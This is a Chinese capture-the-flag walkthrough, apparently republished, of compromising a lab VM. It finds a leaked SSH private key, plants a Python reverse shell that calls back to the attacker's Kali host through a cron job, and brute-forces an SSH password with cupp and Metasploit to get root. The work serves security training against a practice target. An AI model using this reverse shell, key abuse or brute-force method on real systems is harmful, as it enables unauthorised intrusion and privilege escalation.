「安全笔记」 CTF-SSH 服务测试

栏目: 服务器 · 发布时间: 5年前

内容简介:注意这里的靶场由于版本的问题,只能使用VM VirtualBox安装,攻击机用kali Linux在VMware上安装,这里有个坑,在配置网络的时候,全部选择桥接模式,但是VMware下 编辑->虚拟网络编辑器->更改设置->nat0网卡桥接到的外部网络需要和VirtualBox桥接到的一致,不然搜索不到网络,而且桥接模式模拟真实计算机在网络中,利用本机网卡来获取地址的。所以必须连接在同一网络环境下。靶机连接在文章最底部

「安全笔记」 CTF-SSH 服务测试

环境搭建

注意这里的靶场由于版本的问题,只能使用VM VirtualBox安装,攻击机用kali Linux在VMware上安装,这里有个坑,在配置网络的时候,全部选择桥接模式,但是VMware下 编辑->虚拟网络编辑器->更改设置->nat0网卡桥接到的外部网络需要和VirtualBox桥接到的一致,不然搜索不到网络,而且桥接模式模拟真实计算机在网络中,利用本机网卡来获取地址的。所以必须连接在同一网络环境下。

靶机连接在文章最底部

正式开始

我这里kali Linux 的ip地址是 192.168.43.141

靶机的ip地址是 192.168.43.197

首先我们用 netdiscover -r 192.168.43.1/24 扫描目标网络主机,找到靶机ip地址

「安全笔记」 CTF-SSH 服务测试

然后用nmap扫描开放端口,这里介绍下nmap常用的几个命令

探测开放的服务与服务的版本

nmap -sV ip

探测全部信息

nmap -A -v ip

探测操作系统类型与版本

nmap -O ip

这里我们用 namp -sV 192.168.43.197 探测靶机开放的服务

「安全笔记」 CTF-SSH 服务测试

接下来我们对收集的信息进行分析

对于ssh服务开放的靶机,首先考虑

+ 暴力破解

+ 私钥泄露(有没有对应的密码,有没有用户名泄露)

对于开放http服务的80端口或者其他端口的靶场,首先考虑

+ 通过浏览器访问对应的靶场http服务

+ 使用探测 工具 进行目录探测

接下来我们挖掘敏感信息

首先先对http服务进行探测,我们访问页面发现这是一个公司介绍,abouts里有对应的名字,猜测可能是登陆的用户名。

「安全笔记」 CTF-SSH 服务测试

接下来我们扫描目录

对于扫描结果我们逐条阅读,首先是一个files目录,打开发现没有东西,接下来打开icons,发现里面有一条奇怪的文件,打开发现是id_ras(私钥)

「安全笔记」 CTF-SSH 服务测试

利用 wget http://192.168.43.197/icons/VDSoyuAXiO.txt 下载下来

将他名称修改为id_rsa

然后我们尝试利用刚才挖掘的用户名登陆

首先修改权限 chmod 600 id_rsa
然后登陆服务器 ssh -i id_rsa martin@192.168.43.197

提示密码我们直接回车,发现没有密码

「安全笔记」 CTF-SSH 服务测试

登陆后需要扩大战果,可以进行以下操作。

+ 查看当前用户 whoami

+ id 查看当前用户的权限

+ 查看根目录寻找flag

很可惜我们并不是root,那么就需要其他的操作了,因为一般来说,flag属于root

「安全笔记」 CTF-SSH 服务测试

我们可以一查看这些目录,进行提权

/etc/passwd 查看所有用户的列表
/etc/group 查看用户组
或者
find / -user 用户名 查看属于某些用户的文件
/tmp 查看缓冲文件

查看用户列表发现我们猜测的用户都存在。

「安全笔记」 CTF-SSH 服务测试

在排查完这些文件之后,发现我们需要的信息都不存在,那么我们就需要深入挖掘

我们可以通过 /etc/crontab 这个文件。这个文件是设定系统定期执行的任务。如果说在这个目录下有某个用户的计划文件,但是具体目录下没有这个文件。那么我们就可以经行创建反弹shell,然后用netcat监听获得用户的权限。

如果存在那么可以查看有无执行权限

「安全笔记」 CTF-SSH 服务测试

我们输入 cat /etc/crontab 查看这个文件,发现目录下有个jimmy用户的 python 文件每五分钟执行一次,进入指定目录查看发现没有那个文件。那么我们就可以利用这个文件经行反弹shell

我们编写一个tcp客户端来反弹shell

#!/usr/bin/python
import os,subprocess,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.connect(("192.168.43.141",1234))#注意这里是kali的ip和你在netcat上监听地端口
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

将这个文件保存在/tmp目录下然后命名为sekurity.py,并使用 chmod +x sekurity.py 设置可执行权限。在kali上使用netcat监听端口。

kali上输入 nc -lpv 1234 等个几分钟就会看到返回的shell。输入 whoami 发现是jimmy,成功反弹shell。但是查看用户发现并不是root,那么这个方式也失败了。

「安全笔记」 CTF-SSH 服务测试

那么我们只能使用暴力破解了

这里我们使用比较知名的cupp创建个性化字典。

git clone https://github.com/jeanphorn/common-password.git #注意安装git命令
chmod +x cupp.py
./cupp.py -i #以交互方式创建字典

创建时你可以生成自己喜欢的字典:-p我这里除了末尾随即字符选了y其他全部回车

「安全笔记」 CTF-SSH 服务测试

然后使用msfconsole进行爆破

msf > use auxiliary/scanner/ssh/ssh_login
msf > show options #查看参数列表
msf > set rhosts  192.168.43.197 #靶机ip
msf > set username hadi
msf > set set pass_file /root/桌面/tools/common-password/hadi.txt #cupp生成的密码文件地址
msf > set set threads 5 #设置线程
msf > run #开始爆破

成功爆破出密码hadi123

这时候我们使用 session -i 1 连接会话,

python -c "import pty;pty.spawn('/bin/bash')" 优化显示

然后使用su - root提升权限,这时候我们就是root了,然后就可以为所欲为了。

「安全笔记」 CTF-SSH 服务测试

cat flag.txt 就得到了flag啦。

「安全笔记」 CTF-SSH 服务测试


以上所述就是小编给大家介绍的《「安全笔记」 CTF-SSH 服务测试》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

PHP程序设计

PHP程序设计

勒道夫 / 陈浩、胡丹、徐景 / 电子工业出版社 / 2009-3 / 80.00元

《PHP程序设计(第2版)》是最新版本PHP 5的权威指南,其中包含创建者PHP的创建者 Rasmus Lerdorf的独到的见解。《PHP程序设计(第2版)》以一种清晰而简练的风格介绍了PHP语言的语法和程序设计技术,并通过大量的示例演示了它们的正确使用方法和习惯用法。《PHP程序设计(第2版)》还给出了设计风格提示和实际的程序设计建议,这些将帮助你不仅成为一个PHP程序员,而且将是出色的PHP......一起来看看 《PHP程序设计》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

SHA 加密
SHA 加密

SHA 加密工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具